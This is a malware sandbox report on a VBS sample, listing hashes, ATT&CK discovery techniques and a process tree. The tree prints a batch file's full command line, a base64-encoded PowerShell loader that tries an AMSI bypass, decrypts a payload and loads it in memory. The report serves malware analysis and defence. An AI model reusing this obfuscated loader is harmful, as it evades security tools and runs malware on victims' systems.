8d8048f2936aa8f30891ba0bb4d6710aa4a13c4795122154d2fc5dad85c366d5

General

Target

20022025_1553_9491700097082_20250101_20250211_40489.vbs
Size

59KB
MD5

ed21073856c03d1b0c3690cdc3acae54
SHA1

7080a7970f39ebc0928fd1563a39894c1b0b9daa
SHA256

8d8048f2936aa8f30891ba0bb4d6710aa4a13c4795122154d2fc5dad85c366d5
SHA512

c4948f3039ce07ba5e88eef975c3a3718f13acd2fa49472e0f99aebb2154babc26001391b715043b1670a0eb82a1ebfcee3d0b4ac515e8e1e7000bc51814cec5
SSDEEP

768:cMqKvuBXF44i4wbTHDudi0NCefDOZaBZamnDyKp09WB5zMwIZ8ltcYTw2j7ZguRM:wFuqdfDOkbH7FIZySYtj1guT7pvjI

Score

3^/10

discovery

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2928	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2928	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 2808	2952	WScript.exe	30
PID 2952 wrote to memory of 2808	2952	WScript.exe	30
PID 2952 wrote to memory of 2808	2952	WScript.exe	30
PID 2808 wrote to memory of 2024	2808	cmd.exe	32
PID 2808 wrote to memory of 2024	2808	cmd.exe	32
PID 2808 wrote to memory of 2024	2808	cmd.exe	32
PID 2024 wrote to memory of 2944	2024	cmd.exe	34
PID 2024 wrote to memory of 2944	2024	cmd.exe	34
PID 2024 wrote to memory of 2944	2024	cmd.exe	34
PID 2024 wrote to memory of 2928	2024	cmd.exe	35
PID 2024 wrote to memory of 2928	2024	cmd.exe	35
PID 2024 wrote to memory of 2928	2024	cmd.exe	35
PID 2024 wrote to memory of 2928	2024	cmd.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\20022025_1553_9491700097082_20250101_20250211_40489.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\EWVm.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\EWVm.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\EWVm.bat';iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cG93ZXJzaGVsbCAtdyBoaWRkZW47aWV4ICgoJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnVTFSU1NVNUhVa0ZPUkU5TmFWTlVVa2xPUjFKQlRrUlBUV1ZUVkZKSlRrZFNRVTVFVDAxNElDZ29hVk5VVWtsT1IxSkJUa1JQVFhkVFZGSkpUa2RTUVU1RVQwMXlVMVJTU1U1SFVrRk9SRTlOSUMxVFZGSkpUa2RTUVU1RVQwMVZVMVJTU1U1SFVrRk9SRTlOYzFOVVVrbE9SMUpCVGtSUFRXVlRWRkpKVGtkU1FVNUVUMDFDVTFSU1NVNUhVa0ZPUkU5TllWTlVVa2xPUjFKQlRrUlBUWE5UVkZKSlRrZFNRVTVFVDAxcFUxUlNTVTVIVWtGT1JFOU5ZMU5VVWtsT1IxSkJUa1JQVFZCVFZGSkpUa2RTUVU1RVQwMWhVMVJTU1U1SFVrRk9SRTlOY2xOVVVrbE9SMUpCVGtSUFRYTlRWRkpKVGtkU1FVNUVUMDFwVTFSU1NVNUhVa0ZPUkU5TmJsTlVVa2xPUjFKQlRrUlBUV2RUVkZKSlRrZFNRVTVFVDAwZ0lsTlVVa2xPUjFKQlRrUlBUV2hUVkZKSlRrZFNRVTVFVDAxMGRIQnpVMVJTU1U1SFVrRk9SRTlOT2xOVVVrbE9SMUpCVGtSUFRTOVRWRkpKVGtkU1FVNUVUMDB2VTFSU1NVNUhVa0ZPUkU5Tk1GTlVVa2xPUjFKQlRrUlBUWGhUVkZKSlRrZFNRVTVFVDAwd1UxUlNTVTVIVWtGT1JFOU5MbE5VVWtsT1IxSkJUa1JQVFhOVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOTDFOVVVrbE9SMUpCVGtSUFRUaFRWRkpKVGtkU1FVNUVUMDFhVTFSU1NVNUhVa0ZPUkU5TlJGTlVVa2xPUjFKQlRrUlBUV0ZUVkZKSlRrZFNRVTVFVDAwdVUxUlNTVTVIVWtGT1JFOU5kRk5VVWtsT1IxSkJUa1JQVFhoVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOSWlrdVEyOXVkR1Z1ZEM1U1pYQnNZV05sS0NkQlFrTW5MQ2NuS1NrZ0xVVnljbTl5UVdOMGFXOXVJRk5wYkdWdWRHeDVRMjl1ZEdsdWRXVTcnKSkpKSAtcmVwbGFjZSAnU1RSSU5HUkFORE9NJywgJycpO3RyeXsgSW52b2tlLVN5c3RlbUFtc2lCeXBhc3MgLURpc2FibGVFVFcgLUVycm9yQWN0aW9uIFN0b3AgfWNhdGNoeyBXcml0ZS1PdXRwdXQgIlRoaXMgc3lzdGVtIGhhcyBhIG1vZGlmaWVkIEFNU0kiIH07ZnVuY3Rpb24gV0xIRE8oJHBhcmFtX3Zhcil7JGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOyRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzskYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnenJGSVhZVHFrVmxkaHJzZitRek1Oc1dtTVZLUWplc3pHYzNzaEVpVjlxZz0nKTskYWVzX3Zhci5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCc5MGEvR3VUQkIxMUsyRjdUSGhQcnNBPT0nKTskTVpBU1I9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7JEdOSUJDPSRNWkFTUi5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsMCwkcGFyYW1fdmFyLkxlbmd0aCk7JE1aQVNSLkRpc3Bvc2UoKTskYWVzX3Zhci5EaXNwb3NlKCk7JEdOSUJDO31mdW5jdGlvbiBkZWNvbXByZXNzX2Z1bmN0aW9uKCRwYXJhbV92YXIpeyRXRVRWWD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOyRRS05MVD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JEpHTEJLPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFdFVFZYLFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskSkdMQksuQ29weVRvKCRRS05MVCk7JEpHTEJLLkRpc3Bvc2UoKTskV0VUVlguRGlzcG9zZSgpOyRRS05MVC5EaXNwb3NlKCk7JFFLTkxULlRvQXJyYXkoKTt9JFFXRVdUPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskcGF5bG9hZDJfdmFyPWRlY29tcHJlc3NfZnVuY3Rpb24gKFdMSERPIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJFFXRVdULCA2KS5TdWJzdHJpbmcoMikpKSk7W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRwYXlsb2FkMl92YXIpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtjbGVhcjs="))) "
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\EWVm.bat

Filesize
59KB

MD5
27416502df608008f2adb405d3974c78

SHA1
262d35b487ab9223845ba1886e3482e0746e7bc0

SHA256
5f5525b99f0e02252ff93f55a6eda3a3b4db4bdf2e969a55c2d83f6befa4fd02

SHA512
bc7bd7fa7149142d80b95ddacc152c1ec8e66d384dbfb85a6205beaf547f98dd93c3c6241655a9f484da250aeabe734ff09d99acdece9fc22d5c7f58f94de877

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Analysis

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